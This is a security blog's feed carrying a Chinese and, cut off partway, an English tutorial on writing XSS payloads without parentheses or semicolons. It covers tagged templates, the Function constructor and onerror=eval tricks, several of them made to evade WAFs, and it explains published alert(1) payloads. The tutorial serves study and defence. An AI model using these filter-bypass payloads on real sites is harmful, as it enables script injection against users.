最後產生的錯誤訊息，只要能控制，就能組成合法程式碼丟到 eval 去執行。</p><p>剛好最近看到 Gareth Heyes <a href="https://x.com/garethheyes/status/1961078705293246513">發推</a>，說 Firefox 要把這個功能修掉了：<a href="https://github.com/PortSwigger/xss-cheatsheet-data/issues/103">Firefox removed support for throwing error-like objects</a>，於是他就找出了一個新的方法：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span>x<span class="token operator">=</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">,</span>x<span class="token punctuation">.</span>message<span class="token operator">=</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">,</span>x<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>看起來是要 new Error 的話，不需要括號也可以。有了一個 Error 物件之後再設定 message，就一樣能控制錯誤訊息。</p><h2><span id="其他-payload">其他 payload</span></h2><p>原文底下有其他人提了另外兩個 payload。</p><p>第一個來自 <a href="https://x.com/terjanq/status/1128692453047975936">@terjanq</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span><span class="token operator">/</span>a<span class="token operator">/</span><span class="token punctuation">,</span>Uncaught<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span>g<span class="token operator">=</span>alert<span class="token punctuation">,</span>a<span class="token operator">=</span><span class="token constant">URL</span><span class="token operator">+</span><span class="token number">0</span><span class="token punctuation">,</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span><span class="token operator">/</span><span class="token number">1</span><span class="token operator">/</span>g<span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token punctuation">[</span><span class="token number">1337</span><span class="token punctuation">,</span><span class="token number">3331</span><span class="token punctuation">,</span><span class="token number">117</span><span class="token punctuation">]</span><span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這個 payload 我試了一下目前只能在 Chrome 執行，很明顯可以拆成幾個部分：</p><ol><li><code>/a/</code></li><li><code>Uncaught=1</code></li><li><code>g=alert</code></li><li><code>a=URL+0</code></li><li><code>onerror=eval</code></li><li><code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code></li></ol><p>因為是用逗號接起來的，所以 throw 的會是最後的那一段。</p><p>先從最後一段開始好了，這個 <code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code> 是幹嘛的。</p><p>首先呢，a 是 <code>URL+0</code>，而 URL 是個 global 的函式，函式 + 0 會變字串，所以 a 是 <code>&quot;function URL() &#123; [native code] &#125;0&quot;</code>，因此 <code>a[12]</code> 跟 <code>a[13]</code> 分別就是 <code>(</code> 跟 <code>)</code> 了。</p><p>而 <code>/1/g</code> 是個 regexp，變成字串的時候會是 <code>&quot;/1/g&quot;</code>。至於 <code>[1337,3331,117]</code> 這個陣列，變字串時會呼叫 join，結果就是 <code>&quot;1337,3331,117&quot;</code>。</p><p>結合在一起，<code>/1/g+a[12]+[1337,3331,117]+a[13]</code> 就會是 <code>/1/g(1337,3331,117)</code>。</p><p>再搭配前面講過的，throw 什麼錯誤訊息就會是什麼，產生的錯誤訊息為：</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#x2F;1&#x2F;g(1337,3331,117)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這邊的 <code>/</code> 雖然之前是當作 regexp，可是在現在的程式碼中，其實是算數的除法，也就是 <code>a / b / c</code>，其中 a 是 <code>Uncaught</code>，b 是 <code>1</code>，c 是 <code>g(1337,3331,117)</code>。</p><p>而 <code>Uncaught</code> 如果沒宣告就會出錯，所以才需要 <code>Uncaught=1</code>，接著 g 會被當成函式執行，因此 <code>g=alert</code>。</p><p>那最前面的 <code>/a/</code> 呢？這個應該只是不想讓 <code>throw</code> 跟後面的 payload 有空格所以才加的，實際上沒其他作用。</p><p>這個解法的精華在於 throw 的時候讓錯誤訊息變成 <code>Uncaught /1/g(1337,3331,117)</code>，是一段合法的程式碼，只要把一些前提補齊，就可以成功呼叫 <code>g</code> 這個函式。</p><p>第二個來自 <a href="https://x.com/cgvwzq">@cgvwzq</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這邊其實分成兩句，第一句是：<code>TypeError.prototype.name =&#39;=/&#39;</code>，這句是把 TypeError 的名稱強制修改成 <code>=/</code>。</p><p>如果沒有這一句的話，<code>0[0][&#39;test&#39;]</code> 的錯誤訊息是：<code>Uncaught TypeError: Cannot read properties of undefined (reading &#39;test&#39;)</code></p><p><code>0[0]</code> 會是 undefined，而 <code>undefined[&#39;test&#39;]</code> 就會拋出這個 TypeError。</p><p>當我們強制把 name 改掉以後：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'hello!'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'test'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// Uncaught hello!: Cannot read properties of undefined (reading 'test')</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>就可以控制原本 <code>TypeError</code> 的部分，變成任意字串。</p><p>而另外一句 <code>0[onerror=eval][&#39;/-alert(1)//&#39;]</code>，<code>0[onerror=eval]</code> 其實就只是把賦值放在 <code>[]</code> 裡面，賦值以後等同於 <code>0[eval]</code>，這個會回傳 undefined，於是就會拋一個 TypeError 出來。</p><p>換個方式看好了，底下程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'&#123;1&#125;'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'&#123;2&#125;'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>在 Chrome 上會產生的錯誤訊息為：</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#123;1&#125;: can&#39;t access property &quot;&#123;2&#125;&quot;, 0[eval] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>現在的問題就變成，該怎麼透過控制上面的字串，讓錯誤訊息變成合法的程式碼？</p><p>在 <code>&#123;1&#125;</code> 的地方作者放了 <code>=/</code>，合起來就是 <code>Uncaught=/</code>，這個 <code>/</code> 其實是 regexp 的意思，因此這個方法的思路為，讓 <code>&#123;2&#125;</code> 前面那一堆字串（<code>: can&#39;t access property &quot;</code>）都變成 regexp 的一部分。</p><p>因此 <code>&#123;2&#125;</code> 的地方開頭為 <code>/</code>，把前面湊成一個 regexp，接著用 <code>-alert(1)</code> 去執行函式，這邊改成 <code>+alert(1)</code> 也行，就只是要把兩個操作串起來而已。執行完以後，後面的程式碼全都用 <code>//</code> 註解掉，就可以不用管了。</p><p>但如果你實際去跑上面這段 payload，會發現 Chrome 回傳錯誤訊息：<code>Invalid regular expression ... Unterminated group</code>，這是因為錯誤訊息裡面有個 <code>(</code>，那時可能還沒有，造成 regexp 語法有誤，只需要加個 <code>)</code> 就行了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">')/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>產生的錯誤訊息就會是：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span><span class="token operator">:</span> Cannot read properties <span class="token keyword">of</span> <span class="token keyword">undefined</span> <span class="token punctuation">(</span>reading <span class="token string">')/-alert(1)//'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>稍微簡化一下就是：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span>regexp<span class="token operator">/</span><span class="token operator">-</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment">//...</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>話說這個 payload 在 Chrome 139 上沒問題，Firefox 142 則會報錯：<code>Uncaught SyntaxError: expected expression, got &#39;=&#39;</code>。</p><p>想要 debug 的話，把 <code>onerror=eval</code> 改成 <code>onerror=console.log</code> 就好，先看一下產生的錯誤訊息長怎樣：</p><pre class="line-numbers language-none"><code class="language-none">&#x3D;&#x2F;: can&#39;t access property &quot;)&#x2F;&#x2F;alert(1)&#x2F;&#x2F;&quot;, 0[console.log] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>看來 Firefox 上，TypeError 的 name 前面沒有任何東西，因此要讓 Firefox 可以動的話，前面隨便加個可以當變數的字元就行：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'a=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>若是真的有理解這個做法，只要延續這個思路，其實在 TypeName 那邊就可以插入程式碼了，結果是一樣的，但帥氣度沒這麼高（在 Chrome 上沒問題）：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=alert(1)//'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>至於要怎麼組出一個 Chrome 跟 Firefox 都可以的 payload，讀者可以自行練習，或是參考我組出來的一個範例，多加了一些變形：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'+/['</span><span class="token punctuation">,</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span>window<span class="token punctuation">.</span>Uncaught<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">']/-alert\501\51&lt;!--'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="總結">總結</span></h2><p>其實不管是哪個 payload，核心概念都是相同的，只要把錯誤訊息變成合法的 JavaScript 程式碼，再丟給 eval 執行即可。</p><p>要看懂 payload，無非就是要對 JavaScript 程式碼比較熟悉，例如說 <code>0[onerror=eval]</code> 或是逗號的用法，至少要知道在幹嘛。</p><p>除此之外，就是發揮想像力了，這個就比較難練習，通常都會從觀察模仿開始。</p><p>最後整理幾個關鍵點：</p><ol><li>逗號可以串連多個 expression，會回傳最後一個</li><li>把 onerror 換成 eval，就能把錯誤訊息當程式碼執行</li><li>throw 出去的錯誤會變成錯誤訊息的一部分</li><li>只要能讓錯誤訊息變成合法程式碼就大功告成</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;前陣子收到一封讀者來信，問我能不能寫一篇來講解 &lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt; 這篇文章，說是這裡面的 payload 看不太懂。&lt;/p&gt;
&lt;p&gt;因此，這篇就來簡單講解一下這些 payload，參考的原文是 Gareth Heyes 的這兩篇文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses&quot;&gt;XSS technique without parentheses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>Explaining XSS without parentheses and semi-colons</title>
    <link href="https://blog.huli.tw/2025/09/15/en/xss-without-semicolon-and-parentheses/"/>
    <id>https://blog.huli.tw/2025/09/15/en/xss-without-semicolon-and-parentheses/</id>
    <published>2025-09-14T20:50:00.000Z</published>
    <updated>2025-09-15T05:42:31.235Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I received an email from a reader asking if I could write an article explaining <a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a>, saying that the payloads in it were hard to understand.</p><p>Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:</p><ol><li><a href="https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses">XSS technique without parentheses</a></li><li><a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a></li></ol><span id="more"></span><h2><span id="why-do-we-need-such-payloads">Why do we need such payloads?</span></h2><p>Some might wonder, since we can execute JavaScript, why impose so many restrictions? The biggest reason is: WAF (Web Application Firewall). The most common one is Cloudflare’s WAF, which blocks you at the slightest hint of trouble. Even if you can insert HTML or even execute JavaScript, as long as it contains certain patterns, it will be blocked directly.</p><p>Moreover, certain situations may render some characters unusable, and at that point, creativity is needed to find ways to construct executable code without those characters.</p><h2><span id="starting-with-no-parentheses">Starting with no parentheses</span></h2><p>In JavaScript, it seems that to execute a function, parentheses are necessary. So what if we can’t use parentheses?</p><h3><span id="tagged-template-strings">Tagged template strings</span></h3><p>The first method is something some developers may have used but might not think of immediately. Certain JavaScript libraries use template strings to execute functions, such as <a href="https://github.com/porsager/postgres?tab=readme-ov-file#usage">Postgres.js</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getUsersOver</span><span class="token punctuation">(</span><span class="token parameter">age</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> users <span class="token operator">=</span> <span class="token keyword">await</span> sql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    select      name,      age    from users    where age > </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span> age <span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">  </span><span class="token template-punctuation string">`</span></span>  <span class="token comment">// users = Result [&#123; name: "Walter", age: 80 &#125;, &#123; name: 'Murray', age: 68 &#125;, ...]</span>  <span class="token keyword">return</span> users<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Those unfamiliar might wonder how this is written; isn’t it an SQL injection vulnerability?</p><p>If only template strings were used, then indeed it would be, but note that there is an additional <code>sql</code> at the front, which changes things. It is not just simple string concatenation; it is function execution, which is a JavaScript syntax. You can see the example below:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>args<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'huli'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">!!!</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'good'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">~~</span><span class="token template-punctuation string">`</span></span><span class="token comment">// [['Hello ', '!!!', '~~'], 'huli', 'good']</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When we add a function at the front, the function’s parameters will receive the fixed parts of the original string and the inserted variables, allowing us to use this information for sanitization to avoid SQL injection. This usage is called tagged template strings.</p><p>The final effect is that it looks like a simple string replacement, but behind it is function execution with sanitization, making it safe.</p><p>Using this concept, we can write an XSS payload that does not require parentheses:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">alert<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">test</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>However, some might ask, if that’s the case, can we only execute alert? Is there a way to execute arbitrary code? For example, if I want to use fetch to POST, I must use the second parameter: <code>fetch(url, &#123; method:&#39;POST&#39;&#125;)</code>, and the method above would have the second parameter as an array, causing fetch to throw an error and not run.</p><p>To address this issue, we can first use the function constructor to create a function by passing in a string. If you’re not familiar with this, you can read: <a href="https://blog.huli.tw/2020/12/01/en/write-conosle-log-1-without-alphanumeric/">How to write console.log(1) without using letters and numbers?</a> or <a href="https://blog.huli.tw/2021/06/07/en/xss-challenge-by-intigriti-writeup-may/">Intigriti’s 0521 XSS Challenge Solution: Limited Character Combination Code</a>, but I will briefly introduce it here.</p><p>In JavaScript, you can dynamically create a function using <code>new Function(code)</code>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>And that <code>new</code> is actually not necessary; you can remove it without any issue. Furthermore, dynamically created functions can accept parameters:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a) &#123; alert(a+1) &#125;</span><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'b'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+b)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a,b) &#123; alert(a+b) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The last parameter will be treated as the actual code, while the preceding ones will be treated as function parameters, and it will return the created function.</p><p>Therefore, we can use this point in conjunction with the tagged templates mentioned earlier to create a function from a string:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>So how do we execute this created function? It’s simple; just use the same method again:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Add two backticks at the end, just like the previously mentioned alert`1` usage</span><span class="token comment">// Added an extra space to avoid Markdown parser issues, but it works the same either way</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Since <code>alert(1)</code> inside is a string, the parentheses can be directly replaced with unicode, which is also a valid string representation, resulting in:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// it's actually just alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert\u00281\u0029</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>This way, the entire payload does not use any parentheses but can still execute arbitrary code!</p><p>This approach utilizes the first parameter when executing the template, which is the fixed part, but we can also use the subsequent parameters. For example:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span> <span class="token comment">// ['_', '']</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span> <span class="token comment">// hello</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When we pass both a fixed string and parameters simultaneously, the first parameter is all the fixed parts, as mentioned earlier, while the second parameter is our dynamically passed variable <code>hello</code>.</p><p>Using the method above to create a function, as previously mentioned, the last parameter will be treated as the function body:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous(_,) &#123; hello &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Thus, this <code>hello</code> is the part we can control. Since it is dynamically passed, there are many ways to play with it, which can be combined with places we can control on the website. For example, <code>location.hash</code> returns the hash from the URL like <code>#test</code>, and by adding <code>slice(1)</code>, we can remove the preceding <code>#</code>, combined it becomes:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// start from this</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// then using location.hash.slice(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// replace slice(1) with ``</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// add `` to run the function</span><span class="token comment">// remember to set the hash to #alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This constructs a payload that does not require parentheses but can execute arbitrary code, placing the actual string to be executed in the hash and dynamically executing the code in the hash.</p><h3><span id="onerror-event">onerror Event</span></h3><p>All the previous writing has not yet gotten to the main point; the original discovery mentioned at the beginning is another more clever method.</p><p>In a browser environment, by using <code>window.onerror</code>, we can receive all uncaught error events:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Err:'</span> <span class="token operator">+</span> err<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span class="token comment">// Err:Uncaught hello</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>By the way, the above code will not work if executed directly in DevTools (the reason is mentioned in the original post; errors will not be thrown to <code>onerror</code> when executed directly in the console), so please open an HTML to test.</p><p>In short, the above code tells us that in Chrome, the captured error message will be <code>Uncaught hello</code>.</p><p>So what if we directly replace <code>onerror</code> with <code>alert</code>?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>You will directly see a popup saying <code>Uncaught hello</code>. The above payload does not use any parentheses and achieves the purpose of executing a function.</p><p>Further extending this, we can replace <code>onerror</code> with <code>eval</code>, treating the error message as JavaScript code to execute, but the problem is how to construct valid code after replacing it with <code>eval</code>?</p><p>Since the captured error message will be: <code>Uncaught &#123;payload&#125;</code>, this entire sentence will be treated as code to execute, so as long as we replace the payload with: <code>=alert(1)</code>, the whole sentence becomes: <code>Uncaught=alert(1)</code>, using <code>Uncaught</code> in the error message as a variable, thus forming valid code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>If you still don’t understand the principle, replacing <code>eval</code> with <code>console.log</code> makes it very clear:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> console<span class="token punctuation">.</span>log<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span class="token comment">// Uncaught =alert(1)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Next, since the string follows <code>throw</code>, we can also use encoding to replace it, using <code>\x28</code> or <code>\u0028</code> will work:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert\x281\u0029'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>This constructs a payload that does not require parentheses.</p><h2><span id="further-eliminating-semicolons">Further Eliminating Semicolons</span></h2><p>Tagged template strings no longer require semicolons, so let’s continue along the path of <code>onerror</code> to see how to eliminate semicolons.</p><p>A simple and intuitive idea is to just use a comma (for convenience, I’ll use alert below):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>But after running it, you’ll find an error: <code>Uncaught SyntaxError: Unexpected token &#39;throw&#39;</code>. This is because <code>throw</code> is not an expression but a statement, so it cannot be placed after a comma; we need another method.</p><p>In JavaScript, even if you don’t use <code>if</code> or other code that requires a block, you can create your own block to wrap the code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token 